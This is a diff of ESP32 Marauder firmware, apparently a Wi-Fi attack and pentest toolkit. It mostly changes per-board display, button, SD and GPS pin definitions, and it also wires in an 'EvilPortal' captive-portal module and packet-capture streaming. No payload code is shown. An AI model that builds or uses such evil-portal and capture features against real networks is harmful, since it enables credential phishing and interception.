-    #define SCREEN_HEIGHT TFT_HEIGHT
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_HEIGHT
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX 320 // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH 16
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
-    
-    #define KIT_LED_BUILTIN 13
+    #ifdef MARAUDER_M5STICKC
+      #define L_BTN -1
+      #define C_BTN 37
+      #define U_BTN -1
+      #define R_BTN -1
+      #define D_BTN 39
+    #endif  
+
   #endif
-  
-  #ifdef MARAUDER_MINI
-    #define TFT_MISO 19
-    #define TFT_MOSI 23
-    #define TFT_SCLK 18
-    #define TFT_CS 27
-    #define TFT_DC 26
-    #define TFT_RST 5
-    #define TFT_BL 32
-    #define TOUCH_CS 21
-    #define SD_CS 4
+  //// END BUTTON DEFINITIONS
+
+  //// DISPLAY DEFINITIONS
+  #ifdef HAS_SCREEN
+
+    #ifdef MARAUDER_M5STICKC
+      #define SCREEN_CHAR_WIDTH 40
+      //#define TFT_MISO 19
+      #define TFT_MOSI 15
+      #define TFT_SCLK 13
+      #define TFT_CS 5
+      #define TFT_DC 23
+      #define TFT_RST 18
+      #define TFT_BL 10
+      #define TOUCH_CS 10
+      //#define SD_CS 1
+
+      #define SCREEN_BUFFER
+
+      #define MAX_SCREEN_BUFFER 9
+
+      #define BANNER_TEXT_SIZE 1
+
+      #ifndef TFT_WIDTH
+        #define TFT_WIDTH 135
+      #endif
+
+      #ifndef TFT_HEIGHT
+        #define TFT_HEIGHT 240
+      #endif
+
+      #define CHAR_WIDTH 6
+      #define SCREEN_WIDTH TFT_HEIGHT // Originally 240
+      #define SCREEN_HEIGHT TFT_WIDTH // Originally 320
+      #define HEIGHT_1 TFT_WIDTH
+      #define WIDTH_1 TFT_WIDTH
+      #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+      #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
+      #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+      #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+      #define YMAX TFT_HEIGHT // Bottom of screen area
+      #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+      //#define MENU_FONT NULL
+      #define MENU_FONT &FreeMono9pt7b // Winner
+      //#define MENU_FONT &FreeMonoBold9pt7b
+      //#define MENU_FONT &FreeSans9pt7b
+      //#define MENU_FONT &FreeSansBold9pt7b
+      #define BUTTON_ARRAY_LEN 12
+      #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
+      #define LVGL_TICK_PERIOD 6
+    
+      #define FRAME_X 100
+      #define FRAME_Y 64
+      #define FRAME_W 120
+      #define FRAME_H 50
+    
+      // Red zone size
+      #define REDBUTTON_X FRAME_X
+      #define REDBUTTON_Y FRAME_Y
+      #define REDBUTTON_W (FRAME_W/2)
+      #define REDBUTTON_H FRAME_H
+    
+      // Green zone size
+      #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+      #define GREENBUTTON_Y FRAME_Y
+      #define GREENBUTTON_W (FRAME_W/2)
+      #define GREENBUTTON_H FRAME_H
+    
+      #define STATUSBAR_COLOR 0x4A49
+
+    #endif
 
-    #define SCREEN_BUFFER
+    #ifdef MARAUDER_V4
+      #define SCREEN_CHAR_WIDTH 40
+      #define HAS_ILI9341
+      #define BANNER_TEXT_SIZE 2
 
-    #define MAX_SCREEN_BUFFER 9
+      #ifndef TFT_WIDTH
+        #define TFT_WIDTH 240
+      #endif
 
-    #define BANNER_TEXT_SIZE 1
+      #ifndef TFT_HEIGHT
+        #define TFT_HEIGHT 320
+      #endif
 
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 128
+      #define TFT_SHIELD
+    
+      #define SCREEN_WIDTH TFT_WIDTH
+      #define SCREEN_HEIGHT TFT_HEIGHT
+      #define HEIGHT_1 TFT_WIDTH
+      #define WIDTH_1 TFT_HEIGHT
+      #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+      #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+      #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+      #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+      #define YMAX 320 // Bottom of screen area
+      #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+      //#define MENU_FONT NULL
+      #define MENU_FONT &FreeMono9pt7b // Winner
+      //#define MENU_FONT &FreeMonoBold9pt7b
+      //#define MENU_FONT &FreeSans9pt7b
+      //#define MENU_FONT &FreeSansBold9pt7b
+      #define BUTTON_ARRAY_LEN 12
+      #define STATUS_BAR_WIDTH 16
+      #define LVGL_TICK_PERIOD 6
+    
+      #define FRAME_X 100
+      #define FRAME_Y 64
+      #define FRAME_W 120
+      #define FRAME_H 50
+    
+      // Red zone size
+      #define REDBUTTON_X FRAME_X
+      #define REDBUTTON_Y FRAME_Y
+      #define REDBUTTON_W (FRAME_W/2)
+      #define REDBUTTON_H FRAME_H
+    
+      // Green zone size
+      #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+      #define GREENBUTTON_Y FRAME_Y
+      #define GREENBUTTON_W (FRAME_W/2)
+      #define GREENBUTTON_H FRAME_H
+    
+      #define STATUSBAR_COLOR 0x4A49
+    
+      #define KIT_LED_BUILTIN 13
     #endif
 
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 128
+    #ifdef MARAUDER_V6
+      #define SCREEN_CHAR_WIDTH 40
+      #define HAS_ILI9341
+    
+      #define BANNER_TEXT_SIZE 2
+
+      #ifndef TFT_WIDTH
+        #define TFT_WIDTH 240
+      #endif
+
+      #ifndef TFT_HEIGHT
+        #define TFT_HEIGHT 320
+      #endif
+
+      #define TFT_DIY
+    
+      #define SCREEN_WIDTH TFT_WIDTH
+      #define SCREEN_HEIGHT TFT_HEIGHT
+      #define HEIGHT_1 TFT_WIDTH
+      #define WIDTH_1 TFT_HEIGHT
+      #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+      #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+      #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+      #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+      #define YMAX 320 // Bottom of screen area
+      #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+      //#define MENU_FONT NULL
+      #define MENU_FONT &FreeMono9pt7b // Winner
+      //#define MENU_FONT &FreeMonoBold9pt7b
+      //#define MENU_FONT &FreeSans9pt7b
+      //#define MENU_FONT &FreeSansBold9pt7b
+      #define BUTTON_ARRAY_LEN 12
+      #define STATUS_BAR_WIDTH 16
+      #define LVGL_TICK_PERIOD 6
+
+      #define FRAME_X 100
+      #define FRAME_Y 64
+      #define FRAME_W 120
+      #define FRAME_H 50
+    
+      // Red zone size
+      #define REDBUTTON_X FRAME_X
+      #define REDBUTTON_Y FRAME_Y
+      #define REDBUTTON_W (FRAME_W/2)
+      #define REDBUTTON_H FRAME_H
+    
+      // Green zone size
+      #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+      #define GREENBUTTON_Y FRAME_Y
+      #define GREENBUTTON_W (FRAME_W/2)
+      #define GREENBUTTON_H FRAME_H
+    
+      #define STATUSBAR_COLOR 0x4A49
+    
+      #define KIT_LED_BUILTIN 13
+    #endif 
+
+    #ifdef MARAUDER_KIT
+      #define SCREEN_CHAR_WIDTH 40
+      #define HAS_ILI9341
+    
+      #define BANNER_TEXT_SIZE 2
+
+      #ifndef TFT_WIDTH
+        #define TFT_WIDTH 240
+      #endif
+
+      #ifndef TFT_HEIGHT
+        #define TFT_HEIGHT 320
+      #endif
+
+      #define TFT_DIY
+      #define KIT
+    
+      #define SCREEN_WIDTH TFT_WIDTH
+      #define SCREEN_HEIGHT TFT_HEIGHT
+      #define HEIGHT_1 TFT_WIDTH
+      #define WIDTH_1 TFT_HEIGHT
+      #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+      #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+      #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+      #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+      #define YMAX 320 // Bottom of screen area
+      #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+      //#define MENU_FONT NULL
+      #define MENU_FONT &FreeMono9pt7b // Winner
+      //#define MENU_FONT &FreeMonoBold9pt7b
+      //#define MENU_FONT &FreeSans9pt7b
+      //#define MENU_FONT &FreeSansBold9pt7b
+      #define BUTTON_ARRAY_LEN 12
+      #define STATUS_BAR_WIDTH 16
+      #define LVGL_TICK_PERIOD 6
+
+      #define FRAME_X 100
+      #define FRAME_Y 64
+      #define FRAME_W 120
+      #define FRAME_H 50
+
+      // Red zone size
+      #define REDBUTTON_X FRAME_X
+      #define REDBUTTON_Y FRAME_Y
+      #define REDBUTTON_W (FRAME_W/2)
+      #define REDBUTTON_H FRAME_H
+
+      // Green zone size
+      #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+      #define GREENBUTTON_Y FRAME_Y
+      #define GREENBUTTON_W (FRAME_W/2)
+      #define GREENBUTTON_H FRAME_H
+    
+      #define STATUSBAR_COLOR 0x4A49
+    
+      #define KIT_LED_BUILTIN 13
+    #endif
+  
+    #ifdef MARAUDER_MINI
+      #define SCREEN_CHAR_WIDTH 40
+      #define TFT_MISO 19
+      #define TFT_MOSI 23
+      #define TFT_SCLK 18
+      #define TFT_CS 27
+      #define TFT_DC 26
+      #define TFT_RST 5
+      #define TFT_BL 32
+      #define TOUCH_CS 21
+      #define SD_CS 4
+
+      #define SCREEN_BUFFER
+
+      #define MAX_SCREEN_BUFFER 9
+
+      #define BANNER_TEXT_SIZE 1
+
+      #ifndef TFT_WIDTH
+        #define TFT_WIDTH 128
+      #endif
+
+      #ifndef TFT_HEIGHT
+        #define TFT_HEIGHT 128
+      #endif
+
+      #define CHAR_WIDTH 6
+      #define SCREEN_WIDTH TFT_WIDTH // Originally 240
+      #define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
+      #define HEIGHT_1 TFT_WIDTH
+      #define WIDTH_1 TFT_WIDTH
+      #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+      #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
+      #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+      #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+      #define YMAX TFT_HEIGHT // Bottom of screen area
+      #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+      //#define MENU_FONT NULL
+      #define MENU_FONT &FreeMono9pt7b // Winner
+      //#define MENU_FONT &FreeMonoBold9pt7b
+      //#define MENU_FONT &FreeSans9pt7b
+      //#define MENU_FONT &FreeSansBold9pt7b
+      #define BUTTON_ARRAY_LEN 12
+      #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
+      #define LVGL_TICK_PERIOD 6
+
+      #define FRAME_X 100
+      #define FRAME_Y 64
+      #define FRAME_W 120
+      #define FRAME_H 50
+
+      // Red zone size
+      #define REDBUTTON_X FRAME_X
+      #define REDBUTTON_Y FRAME_Y
+      #define REDBUTTON_W (FRAME_W/2)
+      #define REDBUTTON_H FRAME_H
+
+      // Green zone size
+      #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+      #define GREENBUTTON_Y FRAME_Y
+      #define GREENBUTTON_W (FRAME_W/2)
+      #define GREENBUTTON_H FRAME_H
+    
+      #define STATUSBAR_COLOR 0x4A49
     #endif
 
-    #define CHAR_WIDTH 6
-    #define SCREEN_WIDTH TFT_WIDTH // Originally 240
-    #define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_WIDTH
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX TFT_HEIGHT // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
   #endif
   //// END DISPLAY DEFINITIONS
 
@@ -339,64 +594,77 @@
     #define ICON_H 22
     #define BUTTON_PADDING 10
   #endif
+
+  #ifdef MARAUDER_M5STICKC
+    #define BANNER_TIME 50
+    
+    #define COMMAND_PREFIX "!"
+    
+    // Keypad start position, key sizes and spacing
+    #define KEY_X (TFT_WIDTH/2) // Centre of key
+    #define KEY_Y (TFT_HEIGHT/5)
+    #define KEY_W TFT_HEIGHT // Width and height
+    #define KEY_H (TFT_HEIGHT/17)
+    #define KEY_SPACING_X 0 // X and Y gap
+    #define KEY_SPACING_Y 1
+    #define KEY_TEXTSIZE 1   // Font size multiplier
+    #define ICON_W 22
+    #define ICON_H 22
+    #define BUTTON_PADDING 10
+  #endif
   //// END MENU DEFINITIONS
 
   //// SD DEFINITIONS
-  #ifdef MARAUDER_V4
-    #define SD_CS 12
-  #endif
+  #ifdef FLIPPER_ZERO_HAT
 
-  #ifdef MARAUDER_V6
-    #define SD_CS 12
-  #endif
+    #ifdef USE_FLIPPER_SD
+      #define WRITE_PACKETS_SERIAL
+    #endif
 
-  #ifdef MARAUDER_KIT
-    #define SD_CS 12
-  #endif
+  #elif defined(USE_SD)
 
-  #ifdef MARAUDER_MINI
-    #define SD_CS 4
-  #endif
+    #ifdef MARAUDER_V4
+      #define SD_CS 12
+    #endif
 
-  #ifdef MARAUDER_FLIPPER
-    #define SD_CS 10
-  #endif
+    #ifdef MARAUDER_V6
+      #define SD_CS 12
+    #endif
 
-  #ifdef ESP32_LDDB
-    #define SD_CS 4
-  #endif
+    #ifdef MARAUDER_KIT
+      #define SD_CS 12
+    #endif
 
-  #ifdef MARAUDER_DEV_BOARD_PRO
-    #define SD_CS 4
-  #endif
-  //// END SD DEFINITIONS
+    #ifdef MARAUDER_MINI
+      #define SD_CS 4
+    #endif
 
-  //// SCREEN STUFF
-  #ifdef MARAUDER_MINI
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
+    #ifdef MARAUDER_M5STICKC
+      #define SD_CS 10
+    #endif
 
-  #ifdef MARAUDER_V4
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
+    #ifdef MARAUDER_FLIPPER
+      #define SD_CS 10
+    #endif
 
-  #ifdef MARAUDER_V6
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
+    #ifdef ESP32_LDDB
+      #define SD_CS 4
+    #endif
 
-  #ifdef MARAUDER_KIT
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
+    #ifdef MARAUDER_DEV_BOARD_PRO
+      #define SD_CS 4
+    #endif
+
+    #ifdef XIAO_ESP32_S3
+      #define SD_CS 3
+    #endif
 
-  #ifdef GENERIC_ESP32
-    #define HAS_BT
   #endif
+  //// END SD DEFINITIONS
 
+  //// SCREEN STUFF
   #ifndef HAS_SCREEN
+
     #define TFT_WHITE 0
     #define TFT_CYAN 0
     #define TFT_BLUE 0
@@ -416,17 +684,129 @@
     #include <LinkedList.h>
     #include "SPIFFS.h"
     #include "Assets.h"
+
   #endif
   //// END SCREEN STUFF
 
+  //// MEMORY LOWER LIMIT STUFF
+  // These values are in bytes
+  #ifdef MARAUDER_M5STICKC
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_MINI)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_V4)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_V6)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_KIT)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(GENERIC_ESP32)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_FLIPPER)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(ESP32_LDDB)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_DEV_BOARD_PRO)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(XIAO_ESP32_S3)
+    #define MEM_LOWER_LIM 20000
+  #endif
+  //// END MEMORY LOWER LIMIT STUFF
+
   //// NEOPIXEL STUFF  
-  #if defined(ESP32_LDDB)
-    #define PIN 17
+  #ifdef HAS_NEOPIXEL_LED
+    
+    #if defined(ESP32_LDDB)
+      #define PIN 17
+    #elif defined(MARAUDER_DEV_BOARD_PRO)
+      #define PIN 16
+    #else
+      #define PIN 25
+    #endif
+  
+  #endif
+  //// END NEOPIXEL STUFF
+
+  //// BOARD PIN OVERRIDES
+  #ifdef XIAO_ESP32_S3
+    #ifdef USE_FLIPPER_SD
+      #define XIAO_RX1 1
+      #define XIAO_TX1 2
+    #endif
+  #endif
+  //// END BOARD PIN OVERRIDES
+
+  //// EVIL PORTAL STUFF
+  #ifdef MARAUDER_M5STICKC
+    #define MAX_HTML_SIZE 11400
+  #elif defined(MARAUDER_MINI)
+    #define MAX_HTML_SIZE 11400
+  #elif defined(MARAUDER_V4)
+    #define MAX_HTML_SIZE 11400
+  #elif defined(MARAUDER_V6)
+    #define MAX_HTML_SIZE 11400
+  #elif defined(MARAUDER_KIT)
+    #define MAX_HTML_SIZE 11400
+  #elif defined(GENERIC_ESP32)
+    #define MAX_HTML_SIZE 20000
+  #elif defined(MARAUDER_FLIPPER)
+    #define MAX_HTML_SIZE 20000
+  #elif defined(ESP32_LDDB)
+    #define MAX_HTML_SIZE 20000
   #elif defined(MARAUDER_DEV_BOARD_PRO)
-    #define PIN 16
+    #define MAX_HTML_SIZE 20000
+  #elif defined(XIAO_ESP32_S3)
+    #define MAX_HTML_SIZE 20000
   #else
-    #define PIN 25
+    #define MAX_HTML_SIZE 20000
   #endif
-  
+  //// END EVIL PORTAL STUFF
+
+  //// GPS STUFF
+  #ifdef HAS_GPS
+    #ifdef MARAUDER_V6
+      #define GPS_SERIAL_INDEX 2
+      #define GPS_TX 4
+      #define GPS_RX 13
+      #define mac_history_len 512
+    #elif defined(MARAUDER_V4)
+      #define GPS_SERIAL_INDEX 2
+      #define GPS_TX 4
+      #define GPS_RX 13
+      #define mac_history_len 512
+    #elif defined(MARAUDER_KIT)
+      #define GPS_SERIAL_INDEX 2
+      #define GPS_TX 4
+      #define GPS_RX 13
+      #define mac_history_len 512
+    #elif defined(MARAUDER_DEV_BOARD_PRO)
+      #define GPS_SERIAL_INDEX 2
+      #define GPS_TX 21
+      #define GPS_RX 17
+      #define mac_history_len 512
+    #elif defined(MARAUDER_FLIPPER)
+      #define GPS_SERIAL_INDEX 1
+      #define GPS_TX 9
+      #define GPS_RX 21
+      #define mac_history_len 512
+    #endif
+  #else
+    #define mac_history_len 512
+  #endif
+  //// END GPS STUFF
+
+  //// MARAUDER TITLE STUFF
+  #ifdef MARAUDER_V4
+    #define MARAUDER_TITLE_BYTES 13578
+  #elif defined(MARAUDER_V6)
+    #define MARAUDER_TITLE_BYTES 13578
+  #elif defined(MARAUDER_KIT)
+    #define MARAUDER_TITLE_BYTES 13578
+  #elif defined(MARAUDER_MINI)
+    #define MARAUDER_TITLE_BYTES 13578
+  #else
+    #define MARAUDER_TITLE_BYTES 13578
+  #endif
+  //// END MARAUDER TITLE STUFF
 
-#endif
+#endif

+ 190 - 90
esp32cam_marauder/esp32cam_marauder.ino

@@ -13,6 +13,8 @@ https://www.online-utility.org/image/convert/to/XBM
 #endif
 
 #include <WiFi.h>
+//#include "Web.h"
+#include "EvilPortal.h"
 #include <Wire.h>
 #include "esp_wifi.h"
 #include "esp_wifi_types.h"
@@ -22,6 +24,10 @@ https://www.online-utility.org/image/convert/to/XBM
 #include "esp_system.h"
 #include <Arduino.h>
 
+#ifdef HAS_GPS
+  #include "GpsInterface.h"
+#endif
+
 #include "FS.h"                // SD Card ESP32
 #include "SD_MMC.h"            // SD Card ESP32
 #include "esp_camera.h"
@@ -51,54 +57,106 @@ https://www.online-utility.org/image/convert/to/XBM
 bool camera_initialized = false;
 #include "Assets.h"
 #include "WiFiScan.h"
-#include "SDInterface.h"
-#include "Web.h"
+#ifdef HAS_SD
+  #include "SDInterface.h"
+#endif
 #include "Buffer.h"
-#include "BatteryInterface.h"
-#include "TemperatureInterface.h"
-#include "LedInterface.h"
-#include "esp_interface.h"
+
+#ifdef MARAUDER_FLIPPER
+  #include "flipperLED.h"
+#elif defined(XIAO_ESP32_S3)
+  #include "xiaoLED.h"
+#else
+  #include "LedInterface.h"
+#endif
+
+//#include "esp_interface.h"
 #include "settings.h"
 #include "CommandLine.h"
 #include "lang_var.h"
-#include "flipperLED.h"
+
+#ifdef HAS_BATTERY
+  #include "BatteryInterface.h"
+#endif
+
+//#ifdef HAS_TEMP_SENSOR
+//  #include "TemperatureInterface.h"
+//#endif
 
 #ifdef HAS_SCREEN
   #include "Display.h"
   #include "MenuFunctions.h"
-  #include "a32u4_interface.h"
+  //#include "a32u4_interface.h"
 #endif
 
-#ifdef MARAUDER_MINI
+#ifdef HAS_BUTTONS
   #include <SwitchLib.h>
-  SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
-  SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
-  SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
-  SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
-  SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
+  
+  #if (U_BTN >= 0)
+    SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
+  #endif
+  #if (D_BTN >= 0)
+    SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
+  #endif
+  #if (L_BTN >= 0)
+    SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
+  #endif
+  #if (R_BTN >= 0)
+    SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
+  #endif
+  #if (C_BTN >= 0)
+    SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
+  #endif
+
 #endif
 
 WiFiScan wifi_scan_obj;
-SDInterface sd_obj;
-Web web_obj;
+EvilPortal evil_portal_obj;
+//Web web_obj;
 Buffer buffer_obj;
-BatteryInterface battery_obj;
-TemperatureInterface temp_obj;
-LedInterface led_obj;
-EspInterface esp_obj;
+//EspInterface esp_obj;
 Settings settings_obj;
 CommandLine cli_obj;
-flipperLED flipper_led;
+
+#ifdef HAS_GPS
+  GpsInterface gps_obj;
+#endif
+
+#ifdef HAS_BATTERY
+  BatteryInterface battery_obj;
+#endif
+
+//#ifdef HAS_TEMP_SENSOR
+//  TemperatureInterface temp_obj;
+//#endif
 
 #ifdef HAS_SCREEN
   Display display_obj;
   MenuFunctions menu_function_obj;
-  A32u4Interface a32u4_obj;
+  //A32u4Interface a32u4_obj;
+#endif
+
+#ifdef HAS_SD
+  SDInterface sd_obj;
+#endif
+
+#ifdef MARAUDER_M5STICKC
+  AXP192 axp192_obj;
+#endif
+
+#ifdef MARAUDER_FLIPPER
+  flipperLED flipper_led;
+#elif defined(XIAO_ESP32_S3)
+  xiaoLED xiao_led;
+#else
+  LedInterface led_obj;
 #endif
 
 const String PROGMEM version_number = MARAUDER_VERSION;
 
-Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
+#ifdef HAS_NEOPIXEL_LED
+  Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
+#endif
 
 uint32_t currentTime  = 0;
 
@@ -130,6 +188,10 @@ void backlightOff() {
 
 void setup()
 {
+  #ifdef MARAUDER_M5STICKC
+    axp192_obj.begin();
+  #endif
+  
   // Start with the flashlight off
   pinMode(4, OUTPUT);
   digitalWrite(4, LOW);
@@ -169,10 +231,10 @@ void setup()
           for (;;)
             morse_loop();
 
-        case 'e':  // Evil portal
+        /*case 'e':  // Evil portal
           evilportal_setup();
           for (;;)
-            evilportal_loop();
+            evilportal_loop();*/
 
         case 'w':  // Marauder
           goto continue_to_marauder;
@@ -197,19 +259,28 @@ void setup()
   #ifdef HAS_SCREEN
     digitalWrite(TFT_CS, HIGH);
   #endif
-
-  /*pinMode(SD_CS, OUTPUT);
-
-  delay(10);
   
-  digitalWrite(SD_CS, HIGH);
+  /*#ifdef HAS_SD
+    pinMode(SD_CS, OUTPUT);
 
-  delay(10);*/
+    delay(10);
   
-  //Serial.begin(115200);
+    digitalWrite(SD_CS, HIGH);
+
+    delay(10);
+  #endif
+
+  Serial.begin(115200);*/
+
+  // Starts a second serial channel to stream the captured packets
   #ifdef WRITE_PACKETS_SERIAL
-    // Starts a second serial channel to stream the captured packets
-    Serial1.begin(115200);
+    
+    #ifdef XIAO_ESP32_S3
+      Serial1.begin(115200, SERIAL_8N1, XIAO_RX1, XIAO_TX1);
+    #else
+      Serial1.begin(115200);
+    #endif
+    
   #endif
 
   //Serial.println("\n\nHello, World!\n");
@@ -231,7 +302,11 @@ void setup()
 
   // Draw the title screen
   #ifdef HAS_SCREEN
-    display_obj.drawJpeg("/marauder3L.jpg", 0 , 0);     // 240 x 320 image
+    #ifndef MARAUDER_MINI
+      display_obj.drawJpeg("/marauder3L.jpg", 0 , 0);     // 240 x 320 image
+    #else
+      display_obj.drawJpeg("/marauder3L.jpg", 0, 0);
+    #endif
   #endif
 
   #ifdef HAS_SCREEN
@@ -267,10 +342,6 @@ void setup()
 
   settings_obj.begin();
 
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.RunSetup();
-  #endif
-
   //Serial.println("This is a test Channel: " + (String)settings_obj.loadSetting<uint8_t>("Channel"));
   //if (settings_obj.loadSetting<bool>( "Force PMKID"))
   //  Serial.println("This is a test Force PMKID: true");
@@ -287,7 +358,7 @@ void setup()
 
   #ifdef WRITE_PACKETS_SERIAL
     buffer_obj = Buffer();
-  #else
+  #elif defined(HAS_SD)
     // Do some SD stuff
     if(sd_obj.initSD()) {
       #ifdef HAS_SCREEN
@@ -301,24 +372,28 @@ void setup()
         display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
       #endif
     }
+  #else
+    return;
   #endif
 
-  battery_obj.RunSetup();
-
+  #ifdef HAS_BATTERY
+    battery_obj.RunSetup();
+  #endif
+  
   #ifdef HAS_SCREEN
     display_obj.tft.println(F(text_table0[5]));
   #endif
 
   // Temperature stuff
-  #ifndef MARAUDER_FLIPPER
-    temp_obj.RunSetup();
-  #endif
+  //#ifdef HAS_TEMP_SENSOR
+  //  temp_obj.RunSetup();
+  //#endif
 
   #ifdef HAS_SCREEN
     display_obj.tft.println(F(text_table0[6]));
   #endif
 
-  #ifndef MARAUDER_FLIPPER
+  #ifdef HAS_BATTERY
     battery_obj.battery_level = battery_obj.getBatteryLevel();
   
 //    if (battery_obj.i2c_supported) {
@@ -329,7 +404,11 @@ void setup()
   #endif
 
   // Do some LED stuff
-  #ifndef MARAUDER_FLIPPER
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.RunSetup();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.RunSetup();
+  #else
     led_obj.RunSetup();
